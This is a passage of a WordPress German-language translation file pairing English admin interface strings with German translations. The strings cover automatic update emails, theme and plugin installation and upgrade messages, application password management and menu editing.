Stand:" #: wp-admin/includes/class-wp-automatic-updater.php:1141 msgid "These plugins are now up to date:" msgstr "Diese Plugins sind jetzt auf dem neuesten Stand:" #: wp-admin/includes/class-wp-automatic-updater.php:1108 msgid "These themes failed to update:" msgstr "Diese Themes konnten nicht aktualisiert werden:" #. translators: 1: Plugin name, 2: Version number. #. translators: 1: Theme name, 2: Version number. #: wp-admin/includes/class-wp-automatic-updater.php:1094 #: wp-admin/includes/class-wp-automatic-updater.php:1122 #: wp-admin/includes/class-wp-automatic-updater.php:1155 #: wp-admin/includes/class-wp-automatic-updater.php:1183 msgid "- %1$s version %2$s" msgstr "- %1$s Version %2$s" #. translators: 1: Plugin name, 2: Current version number, 3: New version #. number. #. translators: 1: Theme name, 2: Current version number, 3: New version #. number. #: wp-admin/includes/class-wp-automatic-updater.php:1086 #: wp-admin/includes/class-wp-automatic-updater.php:1114 #: wp-admin/includes/class-wp-automatic-updater.php:1147 #: wp-admin/includes/class-wp-automatic-updater.php:1175 msgid "- %1$s (from version %2$s to %3$s)" msgstr "- %1$s (von Version %2$s auf %3$s)" #: wp-admin/includes/class-wp-automatic-updater.php:1080 msgid "These plugins failed to update:" msgstr "Diese Plugins konnten nicht aktualisiert werden:" #: wp-admin/includes/class-wp-automatic-updater.php:1075 msgid "Please check your site now. It’s possible that everything is working. If there are updates available, you should update." msgstr "Bitte überprüfe jetzt deine Website. Es ist möglich, dass alles funktioniert. Wenn Updates verfügbar sind, solltest du aktualisieren." #. translators: %s: Home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1065 msgid "Howdy! Themes failed to update on your site at %s." msgstr "Hallo! Einige Themes auf deiner Website %s konnten nicht aktualisiert werden." #. translators: %s: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:1062 msgid "[%s] Some themes have failed to update" msgstr "[%s] Einige Themes wurden nicht aktualisiert" #. translators: %s: Home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1057 msgid "Howdy! Plugins failed to update on your site at %s." msgstr "Hallo! Einige Plugins auf deiner Website %s konnten nicht aktualisiert werden." #. translators: %s: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:1054 msgid "[%s] Some plugins have failed to update" msgstr "[%s] Einige Plugins wurden nicht aktualisiert" #. translators: %s: Home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1049 msgid "Howdy! Plugins and themes failed to update on your site at %s." msgstr "Hallo! Einige Plugins und Themes auf deiner Website %s konnten nicht aktualisiert werden." #. translators: %s: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:1046 msgid "[%s] Some plugins and themes have failed to update" msgstr "[%s] Einige Plugins und Themes wurden nicht aktualisiert" #. translators: %s: Home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1036 msgid "Howdy! Some themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part." msgstr "Hallo! Einige Themes wurden automatisch auf die jeweils neuesten Versionen auf deiner Website %s aktualisiert. Es sind keine weiteren Aktionen deinerseits erforderlich." #. translators: %s: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:1033 msgid "[%s] Some themes were automatically updated" msgstr "[%s] Einige Themes wurden automatisch aktualisiert" #. translators: %s: Home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1028 msgid "Howdy! Some plugins have automatically updated to their latest versions on your site at %s. No further action is needed on your part." msgstr "Hallo! Einige Plugins auf deiner Website %s wurden automatisch auf ihre neueste Version aktualisiert. Es ist keine weitere Aktion deinerseits erforderlich." #. translators: %s: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:1025 msgid "[%s] Some plugins were automatically updated" msgstr "[%s] Einige Plugins wurden automatisch aktualisiert" #. translators: %s: Home URL. #: wp-admin/includes/class-wp-automatic-updater.php:1020 msgid "Howdy! Some plugins and themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part." msgstr "Hallo! Einige Plugins und Themes auf deiner Website %s wurden automatisch auf ihre neueste Version aktualisiert. Es ist keine weitere Aktion deinerseits erforderlich." #. translators: %s: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:1017 msgid "[%s] Some plugins and themes have automatically updated" msgstr "[%s] Einige Plugins und Themes wurden automatisch aktualisiert" #. translators: %s: Error code. #: wp-admin/includes/class-wp-automatic-updater.php:845 msgid "Error code: %s" msgstr "Fehler-Code: %s" #: wp-admin/includes/class-wp-automatic-updater.php:828 msgid "Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:" msgstr "Dein Webhosting-Anbieter, Freiwillige im WordPress-Support-Forum oder eine freundliche Person mit Programmier-Kenntnissen können dir vielleicht mit diesen Informationen weiterhelfen:" #: wp-admin/includes/class-wp-automatic-updater.php:827 msgid "We have some data that describes the error your site encountered." msgstr "Wir haben einige Informationen, die den Fehler, der auf deiner Website aufgetaucht ist, beschreiben." #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:826 msgid "Your site was running version %s." msgstr "Deine Website läuft mit Version %s." #: wp-admin/includes/class-wp-automatic-updater.php:821 #: wp-admin/includes/class-wp-automatic-updater.php:1217 msgid "The WordPress Team" msgstr "Das WordPress-Team" #: wp-admin/includes/class-wp-automatic-updater.php:817 msgid "You also have some plugins or themes with updates available. Update them now:" msgstr "Es stehen auch Aktualisierungen für einige deiner Plugins oder Themes zur Verfügung. Aktualisiere sie jetzt:" #: wp-admin/includes/class-wp-automatic-updater.php:812 msgid "If you reach out to us, we'll also ensure you'll never have this problem again." msgstr "Wenn du dich an uns wendest, geben wir unser Bestes, damit dieses Problem nicht mehr auftritt." #: wp-admin/includes/class-wp-automatic-updater.php:808 #: wp-admin/update-core.php:926 msgid "Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers." msgstr "Für die Sicherheit deiner Website ist es wichtig, sie auf dem neuesten Stand zu halten. Damit machst du auch das Internet für dich und deine Besucher sicherer." #: wp-admin/includes/class-wp-automatic-updater.php:802 #: wp-admin/includes/class-wp-automatic-updater.php:1215 msgid "If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help." msgstr "Wenn du irgendwelche Fehler feststellst oder Unterstützung benötigst, steht dir das WordPress.org-Supportforum mit seinen freiwilligen Helfern zur Verfügung." #. translators: %s: Support email address. #: wp-admin/includes/class-wp-automatic-updater.php:797 msgid "The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working." msgstr "Das WordPress-Team möchte dir gerne helfen. Leite diese E-Mail an %s weiter. Das Team wird sich mit dir in Verbindung setzen, um sicherzustellen, dass deine Website funktioniert." #: wp-admin/includes/class-wp-automatic-updater.php:787 msgid "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" msgstr "Bitte prüfe deine Website jetzt. Möglicherweise funktioniert alles. Wenn du den Hinweis bekommst, dass du aktualisieren musst, solltest du das machen:" #: wp-admin/includes/class-wp-automatic-updater.php:785 msgid "This means your site may be offline or broken. Don't panic; this can be fixed." msgstr "Das bedeutet, dass deine Website entweder offline oder defekt ist. Keine Panik, das lässt sich reparieren." #. translators: 1: Home URL, 2: WordPress latest version. #: wp-admin/includes/class-wp-automatic-updater.php:779 msgid "Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s." msgstr "Deine Website %1$s hat einen kritischen Fehler gemeldet, als versucht wurde WordPress auf die neueste Version %2$s zu aktualisieren." #. translators: 1: Home URL, 2: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:772 msgid "Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s." msgstr "Deine Website %1$s hat einen kritischen Fehler gemeldet, als versucht wurde WordPress auf Version %2$s zu aktualisieren." #: wp-admin/includes/class-wp-automatic-updater.php:761 msgid "We tried but were unable to update your site automatically." msgstr "Wir haben es versucht, konnten deine Website aber nicht automatisch aktualisieren." #. translators: 1: Home URL, 2: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:751 msgid "Please update your site at %1$s to WordPress %2$s." msgstr "Bitte aktualisiere deine Website unter %1$s auf WordPress %2$s." #: wp-admin/includes/class-wp-automatic-updater.php:741 #: wp-admin/includes/class-wp-automatic-updater.php:764 msgid "Updating is easy and only takes a few moments:" msgstr "Die Aktualisierung ist einfach und dauert nur wenige Augenblicke:" #. translators: %s: WordPress latest version. #: wp-admin/includes/class-wp-automatic-updater.php:740 msgid "WordPress %s is also now available." msgstr "WordPress %s ist ebenfalls verfügbar." #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:735 msgid "For more on version %s, see the About WordPress screen:" msgstr "Um mehr über Version %s zu erfahren, schau dir die Seite „Über WordPress“ an:" #: wp-admin/includes/class-wp-automatic-updater.php:729 msgid "No further action is needed on your part." msgstr "Es sind keine weiteren Aktionen deinerseits notwendig." #. translators: 1: Home URL, 2: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:723 msgid "Howdy! Your site at %1$s has been updated automatically to WordPress %2$s." msgstr "" "Hallo! \n" "\n" "Deine Website unter %1$s wurde automatisch auf WordPress %2$s aktualisiert." #. translators: Site down notification email subject. 1: Site title. #: wp-admin/includes/class-wp-automatic-updater.php:706 msgid "[%1$s] URGENT: Your site may be down due to a failed update" msgstr "[%1$s] DRINGEND: Deine Website ist möglicherweise wegen einer fehlerhaften Aktualisierung nicht verfügbar." #. translators: Update available notification email subject. 1: Site title, 2: #. WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:701 msgid "[%1$s] WordPress %2$s is available. Please update!" msgstr "[%1$s] WordPress %2$s ist verfügbar. Bitte aktualisieren!" #. translators: Site updated notification email subject. 1: Site title, 2: #. WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:695 msgid "[%1$s] Your site has updated to WordPress %2$s" msgstr "[%1$s] Deine Website wurde auf WordPress %2$s aktualisiert" #: wp-admin/includes/class-wp-automatic-updater.php:418 #: wp-admin/includes/update-core.php:1462 wp-admin/update-core.php:854 msgid "WordPress updated successfully." msgstr "WordPress wurde erfolgreich aktualisiert." #: wp-admin/includes/class-wp-automatic-updater.php:416 #: wp-admin/update-core.php:848 wp-admin/js/updates.js:818 #: wp-admin/js/updates.js:1473 msgid "Installation failed." msgstr "Installation fehlgeschlagen." #: wp-admin/includes/class-wp-automatic-updater.php:401 #: wp-admin/includes/class-wp-upgrader.php:150 wp-admin/includes/file.php:1461 #: wp-admin/includes/plugin.php:945 wp-admin/includes/theme.php:62 msgid "Could not access filesystem." msgstr "Konnte nicht auf das Dateisystem zugreifen." #. translators: %s: Project name (plugin, theme, or WordPress). #: wp-admin/includes/class-wp-automatic-updater.php:374 msgid "Translations for %s" msgstr "Übersetzungen für %s" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-automatic-updater.php:369 msgid "Updating plugin: %s" msgstr "Aktualisiere Plugin %s" #. translators: %s: Theme name. #: wp-admin/includes/class-wp-automatic-updater.php:357 msgid "Updating theme: %s" msgstr "Aktualisiere Theme %s" #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:345 msgid "WordPress %s" msgstr "WordPress %s" #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-automatic-updater.php:343 msgid "Updating to WordPress %s" msgstr "Aktualisiere auf WordPress %s" #: wp-admin/includes/class-wp-application-passwords-list-table.php:259 #: wp-admin/includes/class-wp-comments-list-table.php:847 #: wp-admin/includes/class-wp-list-table.php:568 #: wp-admin/includes/class-wp-list-table.php:1466 #: wp-admin/includes/update.php:902 msgid "Show more details" msgstr "Mehr Details anzeigen" #: wp-admin/includes/class-wp-application-passwords-list-table.php:159 msgid "Revoke all application passwords" msgstr "Alle Anwendungspasswörter widerrufen" #. translators: %s: the application password's given name. #: wp-admin/includes/class-wp-application-passwords-list-table.php:120 #: wp-admin/includes/class-wp-application-passwords-list-table.php:241 msgid "Revoke \"%s\"" msgstr "„%s“ widerrufen" #: wp-admin/includes/class-wp-application-passwords-list-table.php:33 #: wp-admin/includes/class-wp-application-passwords-list-table.php:114 #: wp-admin/includes/class-wp-application-passwords-list-table.php:239 msgid "Revoke" msgstr "Widerrufen" #: wp-admin/includes/class-wp-application-passwords-list-table.php:32 msgid "Last IP" msgstr "Letzte IP" #: wp-admin/includes/class-wp-application-passwords-list-table.php:31 msgid "Last Used" msgstr "Zuletzt verwendet" #: wp-admin/includes/class-wp-application-passwords-list-table.php:30 msgid "Created" msgstr "Erstellt" #: wp-admin/includes/class-walker-nav-menu-edit.php:251 msgid "To the top" msgstr "Nach oben" #: wp-admin/includes/class-walker-nav-menu-edit.php:248 msgid "Down one" msgstr "Eine Ebene runter" #: wp-admin/includes/class-walker-nav-menu-edit.php:247 msgid "Up one" msgstr "Eine Ebene rauf" #: wp-admin/includes/class-walker-nav-menu-edit.php:246 msgid "Move" msgstr "Verschieben" #: wp-admin/includes/class-walker-nav-menu-edit.php:212 msgid "CSS Classes (optional)" msgstr "CSS-Klassen (optional)" #: wp-admin/includes/class-walker-nav-menu-edit.php:175 msgid "Edit menu item" msgstr "Menüeintrag bearbeiten" #: wp-admin/includes/class-walker-nav-menu-edit.php:121 msgid "sub item" msgstr "Unterpunkt" #. translators: %s: index.php #: wp-admin/includes/class-theme-upgrader.php:576 msgid "The theme is missing the %s file." msgstr "Dem Theme fehlt die Datei %s." #. translators: %s: style.css #: wp-admin/includes/class-theme-upgrader.php:563 msgid "The %s stylesheet doesn’t contain a valid theme header." msgstr "Das Stylesheet %s enthält keinen gültigen Theme-Header." #. translators: %s: style.css #: wp-admin/includes/class-theme-upgrader.php:538 msgid "The theme is missing the %s stylesheet." msgstr "Dem Theme fehlt das Stylesheet %s." #: wp-admin/includes/class-theme-upgrader.php:107 msgid "Theme downgraded successfully." msgstr "Downgrade des Themes erfolgreich." #: wp-admin/includes/class-theme-upgrader.php:106 msgid "Theme downgrade failed." msgstr "Downgrade des Themes fehlgeschlagen." #: wp-admin/includes/class-theme-upgrader.php:105 msgid "Downgrading the theme…" msgstr "Downgrade des Themes…" #: wp-admin/includes/class-theme-upgrader.php:99 msgid "Updating the theme…" msgstr "Aktualisierung des Themes…" #. translators: %s: Theme error. #: wp-admin/includes/class-theme-upgrader.php:95 msgid "The current theme has the following error: \"%s\"." msgstr "Das aktuelle Theme hat folgenden Fehler: „%s“." #. translators: %s: Theme name. #: wp-admin/includes/class-theme-upgrader.php:93 msgid "<strong>The parent theme could not be found.</strong> You will need to install the parent theme, %s, before you can use this child theme." msgstr "<strong>Das Eltern-Theme konnte nicht gefunden werden.</strong> Du musst das Eltern-Theme installieren, %s, bevor du dieses Child-Theme benutzen kannst." #. translators: 1: Theme name, 2: Theme version. #: wp-admin/includes/class-theme-upgrader.php:91 msgid "Successfully installed the parent theme, <strong>%1$s %2$s</strong>." msgstr "Das Eltern-Theme wurde erfolgreich installiert, <strong>%1$s %2$s</strong>." #. translators: 1: Theme name, 2: Theme version. #: wp-admin/includes/class-theme-upgrader.php:89 msgid "The parent theme, <strong>%1$s %2$s</strong>, is currently installed." msgstr "Das Eltern-Theme, <strong>%1$s %2$s</strong>, ist momentan installiert." #. translators: 1: Theme name, 2: Theme version. #: wp-admin/includes/class-theme-upgrader.php:87 msgid "Preparing to install <strong>%1$s %2$s</strong>…" msgstr "Vorbereiten der Installation <strong>%1$s %2$s</strong> …" #: wp-admin/includes/class-theme-upgrader.php:85 msgid "This theme requires a parent theme. Checking if it is installed…" msgstr "Dieses Theme braucht ein Eltern-Theme. Überprüfung, ob es installiert ist …" #. translators: 1: Theme name, 2: Theme version. #: wp-admin/includes/class-theme-upgrader.php:84 msgid "Successfully installed the theme <strong>%1$s %2$s</strong>." msgstr "Das Theme <strong>%1$s %2$s</strong> wurde erfolgreich installiert." #: wp-admin/includes/class-theme-upgrader.php:82 msgid "Theme installed successfully." msgstr "Das Theme wurde erfolgreich installiert." #: wp-admin/includes/class-theme-upgrader.php:81 msgid "Theme installation failed." msgstr "Theme-Installation fehlgeschlagen." #: wp-admin/includes/class-theme-upgrader.php:80 msgid "The theme contains no files." msgstr "Das Theme enthält keine Dateien." #: wp-admin/includes/class-theme-upgrader.php:77 msgid "Installing the theme…" msgstr "Das Theme wird installiert …" #: wp-admin/includes/class-theme-upgrader.php:64 #: wp-admin/includes/class-theme-upgrader.php:101 msgid "Theme updated successfully." msgstr "Das Theme wurde erfolgreich aktualisiert." #: wp-admin/includes/class-theme-upgrader.php:62 #: wp-admin/includes/class-theme-upgrader.php:79 msgid "Could not remove the old theme." msgstr "Altes Theme konnte nicht entfernt werden." #: wp-admin/includes/class-theme-upgrader.php:61 #: wp-admin/includes/class-theme-upgrader.php:78 msgid "Removing the old version of the theme…" msgstr "Die alte Version des Themes wird entfernt…" #: wp-admin/includes/class-theme-upgrader.php:56 msgid "The theme is at the latest version." msgstr "Das Theme ist auf dem neuesten Stand." #. translators: %s: Theme name. #: wp-admin/includes/class-theme-upgrader-skin.php:94 msgid "Customize “%s”" msgstr "Anpassen „%s“" #: wp-admin/includes/class-theme-upgrader-skin.php:44 wp-admin/update.php:209 msgid "Update Theme" msgstr "Theme aktualisieren" #. translators: %s: Documentation URL. #: wp-admin/includes/class-theme-installer-skin.php:336 msgid "You are updating a theme. Be sure to <a href=\"%s\">back up your database and files</a> first." msgstr "Du aktualisierst ein Theme. Stelle sicher, dass du zuerst deine <a href=\"%s\">Datenbank und Dateien sicherst</a>." #. translators: %s: Documentation URL. #: wp-admin/includes/class-theme-installer-skin.php:330 msgid "You are uploading an older version of a current theme. You can continue to install the older version, but be sure to <a href=\"%s\">back up your database and files</a> first." msgstr "Du lädst eine ältere Version eines bestehenden Themes hoch. Du kannst die ältere Version weiterhin installieren, aber stelle sicher, dass du zuerst deine <a href=\"%s\">Datenbank und Dateien sicherst</a>." #. translators: 1: Current WordPress version, 2: Version required by the #. uploaded theme. #: wp-admin/includes/class-theme-installer-skin.php:315 #: wp-admin/includes/class-theme-upgrader.php:598 msgid "Your WordPress version is %1$s, however the uploaded theme requires %2$s." msgstr "Deine WordPress-Version ist %1$s, das hochgeladene Theme erfordert jedoch %2$s." #. translators: 1: Current PHP version, 2: Version required by the uploaded #. theme. #: wp-admin/includes/class-theme-installer-skin.php:303 #: wp-admin/includes/class-theme-upgrader.php:588 msgid "The PHP version on your server is %1$s, however the uploaded theme requires %2$s." msgstr "Die PHP-Version auf dem Server ist %1$s, das hochgeladene Theme erfordert jedoch %2$s." #: wp-admin/includes/class-theme-installer-skin.php:294 msgid "The theme cannot be updated due to the following:" msgstr "Das Theme kann aus den folgenden Gründen nicht aktualisiert werden:" #: wp-admin/includes/class-theme-installer-skin.php:270 msgid "(not found)" msgstr "(nicht gefunden)" #: wp-admin/includes/class-theme-installer-skin.php:244 #: wp-admin/includes/class-wp-debug-data.php:1098 msgid "Parent theme" msgstr "Übergeordnetes Theme" #: wp-admin/includes/class-theme-installer-skin.php:239 msgid "Theme name" msgstr "Theme-Name" #: wp-admin/includes/class-theme-installer-skin.php:224 msgid "This theme is already installed." msgstr "Dieses Theme ist bereits installiert." #: wp-admin/includes/class-theme-installer-skin.php:158 msgid "Go to Theme Installer" msgstr "Weiter zur Theme-Installation" #: wp-admin/includes/class-theme-installer-skin.php:150 #: wp-admin/js/updates.js:1386 #: wp-admin/includes/class-wp-ms-themes-list-table.php:469 #: wp-admin/includes/class-wp-ms-themes-list-table.php:577 msgid "Network Enable" msgstr "Netzwerkweit freischalten" #. translators: %s: Theme name. #: wp-admin/includes/class-theme-installer-skin.php:143 #: wp-admin/includes/class-theme-upgrader-skin.php:115 #: wp-admin/includes/class-wp-themes-list-table.php:215 msgctxt "theme" msgid "Activate “%s”" msgstr "„%s“ aktivieren" #. translators: %s: Theme name. #: wp-admin/includes/class-theme-installer-skin.php:133 #: wp-admin/includes/class-theme-upgrader-skin.php:105 msgid "Live Preview “%s”" msgstr "Live-Vorschau „%s“" #: wp-admin/includes/class-plugin-upgrader.php:440 msgid "No valid plugins were found." msgstr "Es wurden keine funktionsfähigen Plugins gefunden." #: wp-admin/includes/class-plugin-upgrader.php:98 msgid "Plugin downgraded successfully." msgstr "Downgrade des Plugins erfolgreich." #: wp-admin/includes/class-plugin-upgrader.php:97 msgid "Plugin downgrade failed." msgstr "Downgrade des Plugins fehlgeschlagen." #: wp-admin/includes/class-plugin-upgrader.php:96 msgid "Downgrading the plugin…" msgstr "Downgrade des Plugins…" #: wp-admin/includes/class-plugin-upgrader.php:90 msgid "Updating the plugin…" msgstr "Aktualisierung des Plugins…" #. translators: 1: Plugin name, 2: Plugin version. #: wp-admin/includes/class-plugin-upgrader.php:86 msgid "Successfully installed the plugin <strong>%1$s %2$s</strong>." msgstr "Das Plugin <strong>%1$s %2$s</strong> wurde erfolgreich installiert." #: wp-admin/includes/class-plugin-upgrader.php:84 msgid "Plugin installed successfully." msgstr "Das Plugin wurde erfolgreich installiert." #: wp-admin/includes/class-plugin-upgrader.php:83 msgid "Plugin installation failed." msgstr "Plugin-Installation fehlgeschlagen." #: wp-admin/includes/class-plugin-upgrader.php:82 msgid "The plugin contains no files." msgstr "Dieses Plugin enthält keinerlei Dateien." #: wp-admin/includes/class-plugin-upgrader.php:81 msgid "Could not remove the current plugin." msgstr "Das aktuell bestehende Plugin konnte nicht entfernt werden." #: wp-admin/includes/class-plugin-upgrader.php:80 msgid "Removing the current plugin…" msgstr "Entferne das bestehende Plugin…" #: wp-admin/includes/class-plugin-upgrader.php:79 msgid "Installing the plugin…" msgstr "Das Plugin wird installiert …" #: wp-admin/includes/class-plugin-upgrader.php:78 #: wp-admin/includes/class-theme-upgrader.php:76 msgid "Unpacking the package…" msgstr "Entpacken des Pakets …" #. translators: %s: Package URL. #: wp-admin/includes/class-plugin-upgrader.php:77 #: wp-admin/includes/class-theme-upgrader.php:75 msgid "Downloading installation package from %s…" msgstr "Herunterladen des Installationspakets von %s …" #: wp-admin/includes/class-plugin-upgrader.php:75 #: wp-admin/includes/class-theme-upgrader.php:73 msgid "Installation package not available." msgstr "Installationspaket nicht verfügbar." #: wp-admin/includes/class-plugin-upgrader.php:66 msgid "Plugins updated successfully." msgstr "Die Plugins wurden erfolgreich aktualisiert." #: wp-admin/includes/class-plugin-upgrader.php:65 #: wp-admin/includes/class-plugin-upgrader.php:92 msgid "Plugin updated successfully." msgstr "Das Plugin wurde erfolgreich aktualisiert." #: wp-admin/includes/class-plugin-upgrader.php:63 msgid "Could not remove the old plugin." msgstr "Altes Plugin konnte nicht entfernt werden." #: wp-admin/includes/class-plugin-upgrader.php:62 msgid "Removing the old version of the plugin…" msgstr "Die alte Version des Plugins wird entfernt…" #: wp-admin/includes/class-plugin-upgrader.php:57 msgid "The plugin is at the latest version." msgstr "Das Plugin ist auf dem neuesten Stand." #: wp-admin/includes/class-plugin-upgrader-skin.php:85 #: wp-admin/update-core.php:1109 wp-admin/update-core.php:1149 msgid "Update progress" msgstr "Aktualisierungsvorgang" #: wp-admin/includes/class-plugin-upgrader-skin.php:62 wp-admin/update.php:62 msgid "Update Plugin" msgstr "Plugin aktualisieren" #: wp-admin/includes/class-plugin-installer-skin.php:342 #: wp-admin/includes/class-theme-installer-skin.php:377 msgid "The uploaded file has expired. Please go back and upload it again." msgstr "Die hochgeladene Datei ist abgelaufen. Bitte gehe zurück und lade sie erneut hoch." #: wp-admin/includes/class-plugin-installer-skin.php:324 #: wp-admin/includes/class-theme-installer-skin.php:359 msgid "Cancel and go back" msgstr "Abbrechen und zurück" #: wp-admin/includes/class-plugin-installer-skin.php:313 #: wp-admin/includes/class-theme-installer-skin.php:348 msgid "Replace current with uploaded" msgstr "Installiertes durch Hochgeladenes ersetzen" #. translators: %s: Documentation URL. #: wp-admin/includes/class-plugin-installer-skin.php:301 msgid "You are updating a plugin. Be sure to <a href=\"%s\">back up your database and files</a> first." msgstr "Du aktualisierst ein Plugin. Stelle sicher, dass du zuerst deine <a href=\"%s\">Datenbank und Dateien sicherst</a>." #: wp-admin/includes/class-plugin-installer-skin.php:296 #: wp-admin/includes/class-plugin-installer-skin.php:302 #: wp-admin/includes/class-theme-installer-skin.php:331 #: wp-admin/includes/class-theme-installer-skin.php:337 #: wp-admin/update-core.php:250 msgid "https://wordpress.org/support/article/wordpress-backups/" msgstr "https://wordpress.org/support/article/wordpress-backups/" #. translators: %s: Documentation URL. #: wp-admin/includes/class-plugin-installer-skin.php:295 msgid "You are uploading an older version of a current plugin. You can continue to install the older version, but be sure to <a href=\"%s\">back up your database and files</a> first." msgstr "Du lädst eine ältere Version eines bestehenden Plugins hoch. Du kannst die ältere Version weiterhin installieren, aber stelle sicher, dass du zuerst deine <a href=\"%s\">Datenbank und Dateien sicherst</a>." #. translators: 1: Current WordPress version, 2: Version required by the #. uploaded plugin. #: wp-admin/includes/class-plugin-installer-skin.php:280 #: wp-admin/includes/class-plugin-upgrader.php:460 msgid "Your WordPress version is %1$s, however the uploaded plugin requires %2$s." msgstr "Deine WordPress-Version ist %1$s, das hochgeladene Plugin erfordert jedoch %2$s." #. translators: 1: Current PHP version, 2: Version required by the uploaded #. plugin. #: wp-admin/includes/class-plugin-installer-skin.php:268 #: wp-admin/includes/class-plugin-upgrader.php:449 msgid "The PHP version on your server is %1$s, however the uploaded plugin requires %2$s." msgstr "Die PHP-Version auf dem Server ist %1$s, das hochgeladene Plugin erfordert jedoch %2$s." #: wp-admin/includes/class-plugin-installer-skin.php:259 msgid "The plugin cannot be updated due to the following:" msgstr "Das Plugin kann aus den folgenden Gründen nicht aktualisiert werden:" #: wp-admin/includes/class-plugin-installer-skin.php:225 #: wp-admin/includes/class-theme-installer-skin.php:248 msgid "Uploaded" msgstr "Hochgeladen" #: wp-admin/includes/class-plugin-installer-skin.php:220 #: wp-admin/includes/class-theme-installer-skin.php:243 msgid "Required PHP version" msgstr "Erforderliche PHP-Version" #: wp-admin/includes/class-plugin-installer-skin.php:219 #: wp-admin/includes/class-theme-installer-skin.php:242 msgid "Required WordPress version" msgstr "Erforderliche WordPress-Version" #: wp-admin/includes/class-plugin-installer-skin.php:216 msgid "Plugin name" msgstr "Plugin-Name" #: wp-admin/includes/class-plugin-installer-skin.php:211 msgid "This plugin is already installed." msgstr "Dieses Plugin ist bereits installiert." #: wp-admin/includes/class-plugin-installer-skin.php:139 #: wp-admin/includes/class-plugin-installer-skin.php:145 msgid "Go to Plugin Installer" msgstr "Weiter zur Plugin-Installation" #: wp-admin/includes/class-plugin-installer-skin.php:133 msgid "Go to Importers" msgstr "Weiter zu „Daten importieren“" #: wp-admin/includes/class-plugin-installer-skin.php:124 #: wp-admin/includes/class-wp-plugin-install-list-table.php:591 #: wp-admin/includes/class-wp-plugins-list-table.php:601 #: wp-admin/includes/class-wp-plugins-list-table.php:801 #: wp-admin/js/updates.js:747 msgid "Network Activate" msgstr "Für das gesamte Netzwerk aktivieren" #: wp-admin/includes/class-plugin-installer-skin.php:116 #: wp-admin/includes/class-plugin-upgrader-skin.php:96 msgid "Activate Plugin" msgstr "Plugin aktivieren" #: wp-admin/includes/class-plugin-installer-skin.php:110 msgid "Activate Plugin & Go to Press This" msgstr "Plugin aktivieren und zu Press This navigieren" #: wp-admin/includes/class-plugin-installer-skin.php:104 msgid "Activate Plugin & Run Importer" msgstr "Plugin aktivieren und Import starten" #. translators: 1: .po, 2: .mo #: wp-admin/includes/class-language-pack-upgrader.php:352 msgid "The language pack is missing either the %1$s or %2$s files." msgstr "Dem Sprachpaket fehlt entweder die Datei %1$s oder %2$s." #: wp-admin/includes/class-language-pack-upgrader.php:122 msgid "Could not remove the old translation." msgstr "Alte Übersetzung konnte nicht entfernt werden." #: wp-admin/includes/class-language-pack-upgrader.php:121 msgid "Removing the old version of the translation…" msgstr "Alte Übersetzung wird entfernt …" #: wp-admin/includes/class-language-pack-upgrader.php:120 msgid "Translation updated successfully." msgstr "Die Übersetzung wurde erfolgreich aktualisiert." #: wp-admin/includes/class-language-pack-upgrader.php:119 msgid "Translation update failed." msgstr "Die Aktualisierung der Übersetzung ist fehlgeschlagen." #. translators: %s: Package URL. #: wp-admin/includes/class-language-pack-upgrader.php:117 msgid "Downloading translation from %s…" msgstr "Herunterladen der Übersetzung von %s" #: wp-admin/includes/class-language-pack-upgrader.php:114 #: wp-admin/update-core.php:757 msgid "Your translations are all up to date." msgstr "Alle Übersetzungen sind auf dem neuesten Stand." #: wp-admin/includes/class-language-pack-upgrader.php:113 msgid "Some of your translations need updating. Sit tight for a few more seconds while we update them as well." msgstr "Einige Übersetzungen benötigen eine Aktualisierung. Warte noch ein paar Sekunden ab, während wir diese ebenfalls aktualisieren." #. translators: 1: Project name (plugin, theme, or WordPress), 2: Language. #: wp-admin/includes/class-language-pack-upgrader-skin.php:51 #: wp-admin/includes/class-wp-automatic-updater.php:376 msgid "Updating translations for %1$s (%2$s)…" msgstr "Aktualisierung der Übersetzungen für %1$s (%2$s) …" #: wp-admin/includes/class-language-pack-upgrader-skin.php:31 #: wp-admin/update-core.php:768 wp-admin/update-core.php:1176 msgid "Update Translations" msgstr "Übersetzungen aktualisieren" #: wp-admin/includes/class-file-upload-upgrader.php:56 #: wp-admin/includes/class-file-upload-upgrader.php:95 #: wp-admin/includes/class-file-upload-upgrader.php:111 msgid "Please select a file" msgstr "Wähle bitte eine Datei" #: wp-admin/includes/class-custom-image-header.php:1029 msgid "Sorry, you are not allowed to customize headers." msgstr "Du bist leider nicht berechtigt, Header anzupassen." #: wp-admin/includes/class-custom-image-header.php:948 msgid "The current theme does not support a flexible sized header image." msgstr "Das aktuelle Theme unterstützt kein Header-Bild in flexibler Größe." #: wp-admin/includes/class-custom-image-header.php:905 msgid "Image Upload Error" msgstr "Fehler beim Bild hochladen" #: wp-admin/includes/class-custom-image-header.php:878 msgid "Skip Cropping, Publish Image as Is" msgstr "Zuschneiden abbrechen und das Bild publizieren, wie es ist." #: wp-admin/includes/class-custom-image-header.php:875 msgid "Crop and Publish" 